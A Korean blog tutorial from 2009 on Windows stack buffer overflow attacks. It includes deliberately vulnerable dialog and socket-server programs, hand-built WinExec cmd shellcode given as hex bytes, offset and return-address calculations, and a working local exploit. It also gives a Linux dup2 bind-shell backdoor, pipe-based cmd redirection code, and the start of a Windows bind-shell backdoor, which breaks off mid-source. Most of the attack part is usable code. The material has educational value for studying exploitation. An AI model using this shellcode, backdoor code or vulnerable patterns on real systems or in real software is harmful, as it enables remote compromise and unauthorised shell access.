본문 바로가기
기타/리버스엔지리어링

Windows 환경에서의 Buffer Overflow 공격 기법

by WebHack 2009. 6. 19.
Windows 환경에서의 Buffer Overflow 공격 기법


==== :: 목차 :: ==============================================

1. 들어가면서

2. 로컬 Buffer Overflow - 취약 프로그램 예제

3. 로컬 Buffer Overflow - 로컬 공격을 위한 쉘 코드 구현

4. 로컬 Buffer Overflow - Shellcode와 Return Address의 위치 찾기

5. 로컬 Buffer Overflow - 공격 테스트

6. 리모트 Buffer Overflow - 취약 프로그램 예제

7. 리모트 Buffer Overflow - 리모트 공격을 위한 쉘 코드 구현 (Bind Shellcode)

8. 리모트 Buffer Overflow - Shellcode와 Return Address의 위치 찾기

9. 리모트 Buffer Overflow - 공격 테스트

10. 참고 문서

=========================================================


1. 들어가면서

이 문서는 크게 두 부분으로 나뉘어 진다. 먼저, 로컬 환경에서의 Buffer Overflow를 배워봄으로써,

리눅스 환경에서의 Buffer Overflow과정과 그다지 큰 차이가 없다는 사실을 인식한다. 그 다음엔

본격적으로 리모트 환경에서의 Buffer Overflow를 배워볼 것이며, 역시 리눅스 환경에서의 공격 과정과

큰 맥락은 같지만, 쉘을 띄우기 위한 Bind Shellcode 구현 과정에 큰 차이가 존재함을 알고,

이 내용을 중점적으로 다루어보도록 하겠다.


2. 로컬 Buffer Overflow - 취약 프로그램 예제

다음은 WINAPI 언어로 작성되었으며, 단순히 사용자의 입력을 받아 Popup Window로 출력하는 프로그램이다.

==== 소스 코드 : test1.cpp =======================================

#include <windows.h>

#include "resource.h"


BOOL CALLBACK DlgProc(HWND hDlg, UINT iMsg, WPARAM wParam, LPARAM lParam)

{

        char Message[128];

        char Buffer[256];


        switch(iMsg)

        {

        case WM_COMMAND:

                switch(wParam)

                {

                case IDOK:

                        GetWindowText(GetDlgItem(hDlg, IDC_EDIT1), Buffer, 256);

                        wsprintf(Message, "당신이 입력한 문자열 : %s", Buffer);

                        MessageBox(hDlg, Message, "알림", MB_OK);

                        break;

                case IDEND:

                        EndDialog(hDlg, 0);

                        break;

                }

                break;

        }

        return 0;

}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        DialogBox(hInstance, MAKEINTRESOURCE(IDD_DIALOG1), HWND_DESKTOP, DlgProc);

        return 0;

}

==========================================================

==========================================================

[실행 예제]


==========================================================


위 소스코드에서 볼 수 있듯이 Buffer 변수에 담을 수 있는 최대 값은 256바이트이지만, Message 변수의

크기는 128바이트에 불과하다. 따라서, 사용자가 대략 128바이트 이상의 문자열을 입력할 경우 wsprintf()

함수는 Message 변수를 지나 SFP와 RET Address를 덮어쓰게 될 것이다. 확인해 보자.



이처럼 리눅스에서의 Segmentation Fault에 해당하는 에러 메시지 창이 나타날 것이다.

자, 그럼 이제 이 취약 프로그램을 어떻게 공략해 나갈지 가상 시나리오를 구상해 보도록 하자.


1) 쉘코드 제작

2) Ret Address에 쉘코드의 시작 위치 지정

3) 텍스트 입력 폼에 위 문자열 입력

4) Buffer 변수엔 쉘코드와 변조될 Ret Address가 저장됨

5) wsprintf() 함수에 의하여 기존의 Ret Address가 쉘 코드의 시작 주소로 변조 됨

6) 쉘코드 실행

7) 공격 완료


먼저 쉘코드를 제작해 보자.


3. 로컬 Buffer Overflow - 로컬 공격을 위한 쉘 코드 구현


Return to Library 테크닉을 이용하여 cmd.exe를 실행하는 쉘코드를 만들어 보겠다.

POSIX C의 system() 함수와 동일한 WINAPI 함수로는 WinExec() 가 있으며, 사용 방법은 다음과 같다.


ex) WinExec("dir", SW_SHOWNORMAL);


이를 Intel 어셈블리어로 표현해 보자.

push ebp

먼저 기존의 Base Poiner를 저장한다. (Saved Frame Pointer)


mov ebp, esp

이제 현재의 Stack Pointer를 새로운 Base Pointer로 지정한다.


xor edi, edi

push edi

NULL로 구성된 4바이트 값을 생성하여 스택에 넣는다.


mov byte ptr[ebp-04h], 'c'

mov byte ptr[ebp-03h], 'm'

mov byte ptr[ebp-02h], 'd'

방금 스택에 넣은 0000을 cmd0으로 바꾸었다.


push edi

mov byte ptr[ebp-08h], 03h

이제 WinExec의 두 번째 인자인 SW_SHOWNORMAL(3)을 스택에 넣는다.


lea eax, [ebp-04h]

push eax

이제 WinExec의 첫 번째 인자인 "cmd\0" 문자열의 시작 주소를 넣는다.


mov eax, 0x77e7733c

call eax

마지막으로 WinExec() 함수를 호출한다. WinExec() 함수의 주소는 각 시스템마다 다를 수 있으며,

이를 찾아내는 방법은 다음과 같다.


먼저, W32Dasm 등의 디버깅 툴을 실행한 후, c:\winnt\system32\kernel32.dll 파일을 로딩한다.

그럼 Imagebase (메모리에 적재된 DLL의 시작 주소) 라는 이름의 값을 찾을 수 있을 것인데 이 값을

적어 놓는다. 나의 시스템에선 77E50000이었다. 이제 도스 창을 열고, c:\winnt\systerm32\ 디렉토리로

이동한 다음 다음 명령을 입력한다. dumpbin /exports kernel32.dll | more 출력된 결과들 중 WinExec 부분에

해당하는 RVA 값을 적는다. RVA 값이란, Relate Virtual Address의 약자로서, 상대 주소라는 의미이다.

우리가 잘 알고 있는 Offset과 비슷한 개념이라고 볼 수 있다. 나의 시스템에선 이 값이 0002733C 였다.

이제 앞서 적은 Imagebase 값과 RVA 값을 더한다.
(참고로 dumpbin.exe는 Visual Studio를 설치하면 vc98\bin 폴더에 생성된다.)


0x77e7733c(Winexec 함수의 주소) = 77E50000(Imagebase) + 0002733C(RVA)


이제 위 어셈블리어 코드를 컴파일 하기 위해 다음과 같이 WINAPI 코드에 인라인 어셈블리어로 추가한다.


==========================================================

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        __asm{

                push ebp

                mov ebp, esp

                xor edi, edi

                push edi

                mov byte ptr[ebp-04h], 'c'

                mov byte ptr[ebp-03h], 'm'

                mov byte ptr[ebp-02h], 'd'

                push edi

                mov byte ptr[ebp-08h], 03h

                lea eax, [ebp-04h]

                push eax

                mov eax, 0x77e7733c

                call eax

        }

        return 0;

}

==========================================================


이제 이것을 컴파일하여 cmd가 실행되는 것을 확인하자.


실행된 후에는 스택 포인터 변경으로 인한 에러가 출력될 것이다. 컴파일된 바이너리의 코드 영역을

Disassemble 해보면, 스택 포인터의 값이 변조되었는지를 검사하는 chkesp라는 함수가 호출되는

루틴이 자동으로 추가된 것을 볼 수 있다. 앞서 우리가 변수 참조를 위해 스택 포인터의 값을 임의로

변경하였기 때문에 이 chkesp 검사에 걸린 것이다. 이는 무시해도 상관없지만, 에러 없는 깔끔한 처리를

위하여 pop 명령으로 스택에 임의로 집어넣었던 두 값을 꺼내서 스택 포인터 값을 복원시키자.

(함수의 인자로 전달된 두 개의 값은 리눅스와는 달리 함수 내부에서 해제시킨다. 이는 파스칼 방식의 특징이며,

윈도우는 이 파스칼 방식으로 함수를 다룬다.)


==========================================================

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        __asm{

                ... 생략 ...

                pop eax

                pop ebp // 원래의 ebp로 복원

        }

        return 0;

}

==========================================================


이제 OLLYDBG 등으로 위 프로그램을 로딩하여 기계어 코드를 확인한다.


마지막으로 위 선택 영역된 부분에 해당하는 기계어를 쭈욱 이어주면 쉘코드는 완성된다.


==========================================================

\x55\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x57\xc6\x45\xf8\x03\x8d

\x45\xfc\x50\xb8\x3c\x73\xe7\x77\xff\xd0\x58\x5d

==========================================================


4. 로컬 Buffer Overflow - Shellcode와 Return Address의 위치 찾기

버퍼 오버플로우로 인하여 취약 프로그램이 종료될 시점의 Stack Pointer 주소를 안다면 우리의 쉘코드가

위치하고 있을 버퍼의 위치는 쉽게 계산될 수 있을 것이다. OllyDBG를 이용하여 프로그램을 로딩한 후,

오버플로우를 유도한다.




종료되는 시점에서의 ESP는 0x0012FBE8이였다. 리눅스 시스템에서 스택의 위치가 0xbfxxxxxx인 것과 차이가

나는 사실을 알 수 있다. 이제 이 주소를 기준으로 Buffer[] 변수의 주소를 찾아보자.


[Buffer(256)] [Message(128)] [SFP]
                             *ESP (0x0012FBE8)


Buffer의 주소 = 0x0012FBE8 - 128 - 256

=> 0x0012FA68


이와 같은 방법으로 쉘코드가 위치하고 있을 buffer 변수의 주소를 찾았다.

이번엔 정확한 Return Address의 위치를 찾아보자.

Return Address는 위에서 Message 변수 끝에서 오른쪽 4바이트 떨어진 부분에 위치할 것이다.


==========================================================

[Buffer(256)] [Message(128)] [SFP] [Ret Address]

==========================================================


그럼, 어떤 문자열을 넣어야 정확히 Return Address를 변경할 수 있을까?

wsprintf() 함수가 호출된 이후의 모습을 생각해 보자.


==========================================================

Message[당신이 입력한 문자열 : <사용자의 입력>] [SFP] [Ret Address]

==========================================================


위 모습을 보면 쉽게 계산을 할 수 있다. 먼저 한글은 1자에 2바이트를 차지하므로, 사용자의 입력 바로

전까지 차지하게 되는 바이트 수는 23이다. 그럼 Message 변수의 총 길이가 128이므로, 113개의 문자를

입력하면 정확히 Return Address까지가 변경될 것이다. 확인해 보자.



역시 정확하게 XXXX부분이 Return Address로 변경된 것을 확인할 수 있다.


5. 로컬 Buffer Overflow - 공격 테스트

이제 모든 준비는 완료되었다. 마지막으로 공격을 시도해 보자. 그런데, 현재와 같이 텍스트 폼에 값을

입력해야하는 경우엔 어떻게 Exploit을 구현할까? 지금까지 리눅스 환경에서 해왔던 것처럼 인자 혹은

STDIN으로 문자열을 입력받는 것과는 상황이 다르다. 이 경우엔 다음과 같은 Exploit을 구상할 수 있다.


가) Exploit 실행

나) Exploit에 의하여 취약 프로그램 실행

다) 해당 프로그램의 텍스트 폼에 해당하는 Handle 값을 가져옴

라) 해당 Handle에 Exploit 문자열 전송

마) 취약 프로그램에 IDOK 메시지 전송

바) 실패할 경우 Offset을 변경해가며 나)에서부터 재시도


이론적으로 이와 같은 절차로 Exploit하는 것이 가능하다. 하지만, 이와 같은 Exploit을 구현하게 되는

일은 없을 것이다. 왜냐하면 Windows 시스템 해킹은 주로 로컬이 아닌 리모트 환경에서 이루어지기 때문이다.

이처럼 로컬에서 실행된 프로그램을 공격하여 쉘을 획득해야할 필요성은 거의 생기지 않는다. 따라서,

여기에선 위의 복잡한 과정 대신 취약 프로그램을 수정하는 방법으로 Exploit해보도록 하겠다.


==== 소스 코드 ==============================================

#include <windows.h>

#include "resource.h"


BOOL CALLBACK DlgProc(HWND hDlg, UINT iMsg, WPARAM wParam, LPARAM lParam)

{

        char Message[128];

        char Buffer[256];

        char Exploit[113];

        char ShellCode[] = "\x55\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6"

                          "\x45\xfd\x6d\xc6\x45\xfe\x64\x57\xc6\x45\xf8"

                          "\x03\x8d\x45\xfc\x50\xb8\x3c\x73\xe7\x77\xff"

                          "\xd0\x58\x5d";

        int NewRet = 0x0012fa68;

        

        switch(iMsg)

        {

        case WM_INITDIALOG:

                memset(Exploit, 0x90, 113);

                memcpy(Exploit+30, ShellCode, strlen(ShellCode));

                memcpy(&Exploit[109], &NewRet, 4);

                SetWindowText(GetDlgItem(hDlg, IDC_EDIT1), Exploit);

                break;

        case WM_COMMAND:

                switch(wParam)

                {

                case IDOK:

                        GetWindowText(GetDlgItem(hDlg, IDC_EDIT1), Buffer, 256);

                        wsprintf(Message, "당신이 입력한 문자열 : %s", Buffer);

                        MessageBox(hDlg, Message, "알림", MB_OK);

                        break;

                case IDEND:

                        EndDialog(hDlg, 0);

                        break;

                }

                break;

        }

        return 0;

}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

                        

        DialogBox(hInstance, MAKEINTRESOURCE(IDD_DIALOG1), HWND_DESKTOP, DlgProc);

        return 0;

}

==========================================================


이제 이 프로그램을 실행해보면, 자동으로 텍스트 입력 창에 Exploit 문자열이 지정될 것이다.

앞의 Exploit 구현 시나리오에서 라)에 해당하는 작업까지를 임의로 구현한 것이다.



위와 같은 순서의 결과를 볼 수 있으며, 위처럼 쉘이 실행되었다면 공격 성공이다.


지금까지 로컬 환경에서의 Buffer Overflow 공격을 학습해 보았다. 하지만, 앞서 말했듯이 이처럼 로컬

환경에서의 Windows 시스템 해킹은 별 의미가 없다. Windows는 UNIX 시스템과는 달리 Setuid의 개념이

없기 때문이다.(비슷한 다른 개념이 있는지는 확실히는 모르겠다.) 따라서, 자신의 프로그램을 자신이

해킹하여 얻을 수 있는 이점은 없다고 본다. 그럼 이제부터 실제 활용 가능한 리모트 환경에서의

Buffer Overflow를 배워보도록 하자.


6. 리모트 Buffer Overflow - 취약 프로그램 예제

다음은 단순히 클라이언트로부터 데이터를 한 번 받는 역할의 프로그램이다. 데이터 저장을 위해 할당된

변수는 40바이트이나, recv() 함수가 최대 1024바이트의 데이터를 받을 수 있도록 코딩되어 있으므로

버퍼 오버플로우 결함이 발생한다.


==========================================================

#include <windows.h>


void Error(char *str)

{

        MessageBox(HWND_DESKTOP, str, "에러", MB_OK);

        PostQuitMessage(0);

}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        char data[40];

        int server_sockfd, client_sockfd, length;

        struct sockaddr_in server_addr, client_addr;


        // 소켓 초기화 시작

        WSADATA wsaData;

        WORD Version;

        Version = MAKEWORD(2, 0);

        WSAStartup(Version, &wsaData);

        // 소켓 초기화 끝


        server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

        if(server_sockfd < 0)

                Error("소켓 생성 에러");


        server_addr.sin_family = AF_INET;

        server_addr.sin_port = htons(7777);

        server_addr.sin_addr.s_addr = INADDR_ANY;

        memset(&server_addr.sin_zero, 0, sizeof(server_addr.sin_zero));


        if(bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr))<0)

                Error("Bind 에러");


        listen(server_sockfd, 5);


        length = sizeof(server_addr);


        MessageBox(HWND_DESKTOP, "서버를 구동합니다.", "알림", MB_OK);


        client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &length);

        wsprintf(data, "클라이언트가 접속하였습니다. IP : %s", inet_ntoa(client_addr.sin_addr));

        MessageBox(HWND_DESKTOP, data, "알림", MB_OK);

        length = recv(client_sockfd, data, 1024, 0);

        data[length] = 0;


        MessageBox(HWND_DESKTOP, data, "받은 문자열", MB_OK);


        MessageBox(HWND_DESKTOP, "서버가 종료되었습니다.", "알림", MB_OK);

        closesocket(server_sockfd);

        closesocket(client_sockfd);

        return 0;

}

==========================================================


다음은 이 취약 프로그램의 실행 예제이다.


 -> ->

 -> ->

 ->


만약 44바이트 이상의 데이터를 전송하면 프로그램은 다음과 같은 오류와 함께 종료된다.



한 가지 특이한 점은 매우 큰 데이터(약 300바이트 이상, 즉 리턴 어드레스 뒤로 250 바이트 정도 초과된 용량)를

전송했을 경우엔 위와 같은 Segmentaion Fault를 의미하는 에러 메시지 없이 바로 서버가 종료된다는 점이다.

확인 결과 SFP와 Return Address등 스택의 값의 변조는 성공적으로 이루어지나, 단지 에러 메시지만 출력되지

않는다. 아마도 리턴 어드레스 뒤쪽에 Segmentaion Fault 에러 출력과 연관된 데이터가 있는데, 그것을

덮어쓰게 될 경우 이러한 현상이 나타나는 것으로 추측된다.



7. 리모트 Buffer Overflow - 리모트 공격을 위한 쉘 코드 구현 (Bind Shellcode)

Bind ShellCode란, 특정 TCP Port를 Open한 후, 그곳으로 접속하는 Client 들에게 쉘(Shell)을 연결시켜주는

일종의 백도어 프로그램을 말한다. 공격자가 어떤 시스템의 취약점을 이용하여 특정한 원하는 코드를

실행할 수 있는 상태가 되었을 때, 일반적으로 실행하는 것이 이 Bind ShellCode이다. 쉘만 획득하면

그 후엔 또 다른 원하는 작업들을 쉽게 명령할 수 있기 때문이다. 그럼, 이제부터 Windows 환경에서의

Bind Shellcode를 구현하는 방법에 대해 배워보도록 하자. 먼저, Linux 환경에 맞게 구현된

Bind Shell Backdoor의 소스 코드를 보자.


==========================================================

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <arpa/inet.h>


int main()

{

        int sockfd, your_sockfd, len;

        struct sockaddr_in my_addr, your_addr;


        sockfd = socket(AF_INET, SOCK_STREAM, 0);


        my_addr.sin_family = AF_INET;

        my_addr.sin_port = htons(12345);

        my_addr.sin_addr.s_addr = INADDR_ANY;

        memset(&my_addr.sin_zero, 0, 8);


        if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(my_addr))==-1){

                perror("bind");

                exit(-1);

        }

        listen(sockfd, 5);


        len = sizeof(your_addr);

        your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);


        dup2(your_sockfd, 0);    // 표준 입력을 클라이언트로..

        dup2(your_sockfd, 1);    // 표준 출력을 클라이언트로..

        dup2(your_sockfd, 2);    // 에러 출력을 클라이언트로..


        execl("/bin/bash", "bash", 0);


        close(sockfd);

        close(your_sockfd);

}

==========================================================


핵심이 되는 코드는 dup2() 함수가 사용된 세 라인이다. dup2() 함수는 디스크립터 복사 함수이며,

dup() 함수가 무조건 등록되지 않은 가장 낮은 값이 할당되는 것에 반하여 dup2() 함수는 프로그래머가

원하는 값으로 할당받을 수 있다. /bin/bash가 실행되었을 때, 그 입/출력의 주체는 터미널이지만,

위처럼 dup2() 함수로 기존의 표준 입력/출력/에러를 socket으로 바꾸어 버리면, /bin/bash는 소켓과

통신을 할 수 있게 되는 것이 작동 원리이다.


그럼, 위 코드 중에서 /bin/bash 경로만 c:\winnt\system32\cmd.exe 로 바꾸어주면 Windows 환경에서도

그대로 위 백도어를 사용할 수 있을까? 결론은 아니다. WIN32 혹은 WIN32 DOS Application으로

위와 같은 백도어를 실행해보면, cmd.exe의 실행 결과가 소켓을 통해 전달되지 않음을 알 수 있다.

마찬가지로 소켓으로부터 수신된 명령이 cmd.exe로 전달되지도 않는다. 반면에, 입력/출력의 처리는

정상적으로 DOS Console을 통해 이루어진다. 아마도 이와 같은 현상은 cmd.exe가 실행될 때,

표준 입력/출력/에러 디스크립터를 재설정하기 때문인 것으로 추측된다.


즉, 결론을 말하자면 Windows 환경에서는 dup2() 함수가 무용지물이 되어버렸다는 것이다.

그럼, dup() 계열의 함수를 사용하지 않고, 특정 명령의 입출력을 소켓으로 연결시키는 또 다른 방법은

없을까? 다행이도 파이프(PIPE)를 사용하면 이러한 작업이 가능해진다.


파이프란, 프로세스 간의 통신에 사용되는 기능이다. 실제 파이프가 양쪽 끝에 구멍이 있고, 그 중 한쪽

구멍을 통해서 들어간 물체가 반대쪽 구멍으로 나올 수 있듯이, 프로그래밍에서의 파이프 역시 파이프

핸들이라는 것을 매개체로 두 개의 프로세스가 서로 데이터를 주고받을 수 있다. 다음은 파이프를

사용하는 예제이다. 일단 이해를 쉽게 하기 위하여 하나의 프로세스가 파이프 핸들을 이용하여 자료를

주고받는 내용을 구현해 보았다.


==========================================================

#include <windows.h>


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        // 파이프 핸들 : 쓰기용, 읽기용

        HANDLE hRead, hWrite;

        // 성공적으로 처리된 바이트 수 저장

        DWORD ByteRead;

        // 문자열을 저장할 변수

        char buf[1024];


        // 파이프를 생성한다. 두 개의 파이프 핸들이 사용되었으며, 첫 번째 것은 읽기

        // 전용 파이프, 두 번째 것은 쓰기 전용 파이프이다. 즉, 두 번째로 핸들 전달된

        // 데이터를 첫 번째 핸들을 참조하여 가져올 수 있다.

        // 세 번째 인자는 보안 속성이며, 네 번째 인자는 파이프 핸들이 사용할 버퍼의

        // 크기를 지정한다. 0으로 하면 default 값으로 지정된다.

        CreatePipe(&hRead, &hWrite, NULL, 0);


        // 쓰기 전용 파이프로 값을 집어넣었다.

        WriteFile(hWrite, "Test Message", 13, &ByteRead, NULL);

        // 읽기 전용 파이프에서 집어넣은 값을 가져왔다.

        ReadFile(hRead, buf, 13, &ByteRead, NULL);


        // 빼내온 값을 화면에 출력한다.

        MessageBox(HWND_DESKTOP, buf, "알림", MB_OK);

        return 0;

}

==========================================================


이를 컴파일하여 실행하면, Test Message라는 문자열이 쓰기 전용 파이프 핸들을 통하여 파이프

버퍼로 저장되고, 이 값이 다시 읽기 전용 파이프로 꺼내어져 buf 변수에 저장된다.

마지막으로 알림 박스를 통하여 화면에 출력 하였으며, 그 결과는 예상했던 대로 Test Message가 된다.


위의 과정을 그림으로 표현하면 다음과 같다.


                        ┏━━━━━━━━━━━━━━━━┓

WriteFile() -->  쓰기 전용 )          [파이프 버퍼]          ) 읽기 전용 -> ReadFile()

                  핸들  ┗━━━━━━━━━━━━━━━━┛   핸들


               -----------------------  "Test Message" ------------------------>


이번엔 파이프를 조금 더 응용하여 콘솔으로 실행되는 프로세스의 출력 결과를 파이프 핸들을 통해

받아와 보자. 다음 프로그램은 콘솔 명령인 ipconfig.exe의 실행 결과를 파이프로 받아와서 Windows

화면에 출력해주는 예이다.


==========================================================

#include <windows.h>


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        // 읽기/쓰기 전용 파이프 핸들

        HANDLE hRead, hWrite;

        // 보안 설정 지정 목적의 구조체 변수

        SECURITY_ATTRIBUTES sa;

        // 성공적으로 읽어온 바이트 수

        DWORD ByteRead;

        // 문자열 저장 변수

        char buf[1024];


        // 이번엔 CreatePipe의 세 번째 인자인 보안 설정을 지정해주어야 한다.

        // sa.bInheritHandle의 값을 TRUE로 지정해 주어야만 핸들 상속이 가능해져

        // 다른 프로세스가 파이프 핸들을 사용할 수 있게 된다.

        ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));

        sa.nLength= sizeof(SECURITY_ATTRIBUTES);

        sa.lpSecurityDescriptor = NULL;

        sa.bInheritHandle = TRUE;


        // 보안 설정을 적용하여 파이프를 생성한다.

        CreatePipe(&hRead, &hWrite, (SECURITY_ATTRIBUTES *)&sa, 0);


        // CreateProcess 함수를 위한 구조체 변수들이다.

        STARTUPINFO si;         // 실행될 프로세스의 특성을 지정하는 변수이다.

        PROCESS_INFORMATION pi;      // 실행된 프로세스의 정보를 저장할 변수이다.


        // 실행될 프로세스의 특성을 지정한다.

        GetStartupInfo(&si);

        // 표준 입출력 핸들과 윈도우가 보여지는 모양을 설정 할 수 있도록 함.

        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

        // 표준 입력 핸들 지정

        si.hStdInput = NULL;

        // 표준 출력 핸들 지정  

        si.hStdOutput = hWrite;

        // 표준 에러 핸들 지정

        si.hStdError = hWrite;

        // 실행 윈도우는 숨김 모드로 설정

        si.wShowWindow = SW_HIDE;


        // 위 설정을 적용시켜 ipconfig.exe를 실행한다.

        CreateProcess(NULL, "ipconfig.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);


        // 파이프 버퍼의 값을 읽기 전용 핸들을 통해 받아온다.

        ReadFile(hRead, buf, 1024, &ByteRead, NULL);

        buf[ByteRead] = NULL;


        // 받아온 값을 출력한다.

        MessageBox(HWND_DESKTOP, buf, "알림", MB_OK);

        return 0;

}

==========================================================


 

위처럼 ipconfig.exe의 실행 결과가 파이프 핸들을 통해 부모 프로세스로 전달되었다.

위 과정을 도식화하면 다음과 같다.


                          ┏━━━━━━━━━━━━━━━━┓

ipconfig.exe -->  쓰기 전용 )          [파이프 버퍼]           ) 읽기 전용 -> ReadFile()

                    핸들  ┗━━━━━━━━━━━━━━━━┛   핸들


                  -----------------------  "실 행 결 과" ------------------------>


CreateProcess() 함수로 실행되는 프로세스의 특징을 지정할 때, 표준 출력과 표준 에러가 STDOUT,

STDERR가 아닌, hWrite 파이프 핸들로 향하도록 하였다. 따라서, ipconfig.exe의 실행 결과는 화면에

출력되는 대신에 hWrite 파이프 핸들을 거쳐 파이프 버퍼로 저장이 되었다. 마지막으로 hRead

파이프 핸들을 통하여 파이프 버퍼의 내용을 가져와 화면에 출력한 것이다. WinExec() 혹은 execl()

함수를 사용하지 않고, CreateProcess() 함수를 사용한 이유는 앞의 두 함수는 이처럼 표준

입출력 핸들을 재지정할 수 있는 기능이 없기 때문이다. 또한, 앞서 NULL로 지정해주었던 CreateProcess()의

마지막에서 두 번째 인자에 STARTUPINFO 구조체 변수를 적용시킨 것도 표준 입출력 핸들 재지정을 위한 것이었다.


자, 여기까지 이해하였다면 이번엔 부모 프로세스에서 자식 프로세스로 파이프를 이용하여 데이터를

전달해 보자. 다음은 cmd.exe로 dir이라는 명령을 전달한 후, 다시 그 결과를 받아와 화면에 출력하는

예제이다. 몇 가지 코드가 추가된 것 외에는 앞의 예제와 거의 동일하다. 이 예제에서의 요점은

바로 파이프가 두 개 사용된다는 점이다. 하나는 부모 프로세스에서 자식 프로세스로 데이터를

보낼 때 사용할 파이프이며, 또 다른 하나는 반대로 자식 프로세스에서 부모 프로세스로 데이터를

보낼 때 사용할 파이프이다. 이 두 개의 파이프를 각각 파이프1, 파이프2라고 명명하였다.


==========================================================

#include <windows.h>


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        // 읽기/쓰기 전용 파이프 핸들 1

        HANDLE hRead1, hWrite1;

        // 읽기/쓰기 전용 파이프 핸들 2

        HANDLE hRead2, hWrite2;

        // 보안 설정 지정 목적의 구조체 변수

        SECURITY_ATTRIBUTES sa;

        // 성공적으로 읽어온 바이트 수

        DWORD ByteRead;

        // 문자열 저장 변수

        char buf[1024];


        // 보안 설정 지정

        ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));

        sa.nLength= sizeof(SECURITY_ATTRIBUTES);

        sa.lpSecurityDescriptor = NULL;

        sa.bInheritHandle = TRUE;


        // 파이프 1을 생성한다. (부모 -> 자식)

        CreatePipe(&hRead1, &hWrite1, (SECURITY_ATTRIBUTES *)&sa, 0);

        // 파이프 2를 생성한다. (자식 -> 부모)

        CreatePipe(&hRead2, &hWrite2, (SECURITY_ATTRIBUTES *)&sa, 0);


        // CreateProcess 함수를 위한 구조체 변수들이다.

        STARTUPINFO si;         

        PROCESS_INFORMATION pi;      


        // 실행될 프로세스의 특성을 지정한다.

        GetStartupInfo(&si);

        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

        // 표준 입력 핸들 지정. 앞의 예제에선 NULL을 사용하였지만, 이번엔 파이프 1을

        // 지정해 주었다. 또한, 자식 프로세스에서 값을 읽어갈 것이므로 읽기 전용

        // 파이프를 사용한 것에 주의한다.

        si.hStdInput = hRead1;

        si.hStdOutput = hWrite2;

        si.hStdError = hWrite2;

        si.wShowWindow = SW_HIDE;


        // 위 설정을 적용시켜 cmd.exe를 실행한다.

        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);


        // 부모 -> 자식으로 파이프 1을 이용하여 데이터를 전송한다.

        WriteFile(hWrite1, "dir\n", 4, &ByteRead, NULL);


        // 실행 결과가 파이프 버퍼에 저장될 충분한 지연 시간을 준다.

        Sleep(100); // 0.1초이다.


        // 실행 결과를 파이프 2를 통하여 받아온다.

        ReadFile(hRead2, buf, 1024, &ByteRead, NULL);

        buf[ByteRead] = NULL;


        // 받아온 값을 출력한다.

        MessageBox(HWND_DESKTOP, buf, "알림", MB_OK);

        return 0;

}

==========================================================




실행하면 위와 같은 결과를 볼 수 있다. 하나의 파이프로 송신과 수신을 모두 할 수는 없냐고

의문을 가질 수 있다. 하지만 파이프는 양방향이 아닌, 단방향으로만 작동한다. 따라서, 부모

프로세스의 송신 -> 파이프 -> cmd.exe의 수신을 위한 파이프 1과 cmd.exe의 송신 -> 파이프 -> 부모 프로세스의

수신을 위한 파이프 2가 각각 필요했던 것이다. 역시 그림으로 표현하면 다음과 같다.


                           ┏━━━━━━━━━━━━━━━━┓

부모프로세스 -->  쓰기 전용 )         [파이프 버퍼 1]         ) 읽기 전용 -> cmd.exe

                     핸들  ┗━━━━━━━━━━━━━━━━┛   핸들


                  -----------------------  "명 령 전 송" ------------------------>




                           ┏━━━━━━━━━━━━━━━━┓

부모프로세스 <--  읽기 전용 )         [파이프 버퍼 2]         ) 쓰기 전용 <- cmd.exe

                     핸들  ┗━━━━━━━━━━━━━━━━┛   핸들


                  <-----------------------  "결 과 전 송" ------------------------


Windows 기반의 Bind Shell Backdoor 구현을 위한 기본 지식은 이정도면 충분하다. 이제 지금까지

배운 내용을 토대로 Bind Shell Backdoor를 구현해 보자.


==========================================================

#include <windows.h>


// 에러 메시지 출력 함수

void Error(char *str)

{

        MessageBox(HWND_DESKTOP, str, "알림", MB_OK);

        PostQuitMessage(0);

}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        // 소켓 초기화 시작

        WSADATA wsaData;

        WORD Version;

        Version = MAKEWORD(2, 0);

        WSAStartup(Version, &wsaData);

        // 소켓 초기화 끝


        int sockfd, client_sockfd, length;

        struct sockaddr_in server_addr, client_addr;

        sockfd = socket(AF_INET, SOCK_STREAM, 0);


        if(sockfd < 0)

                Error("socket error");


        server_addr.sin_family = AF_INET;

        server_addr.sin_port = htons(12345);

        server_addr.sin_addr.s_addr = INADDR_ANY;

        memset(&server_addr.sin_zero, 0, sizeof(server_addr.sin_zero));


        if(bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) != 0)

                Error("bind");


        listen(sockfd, 5);


        length = sizeof(client_addr);

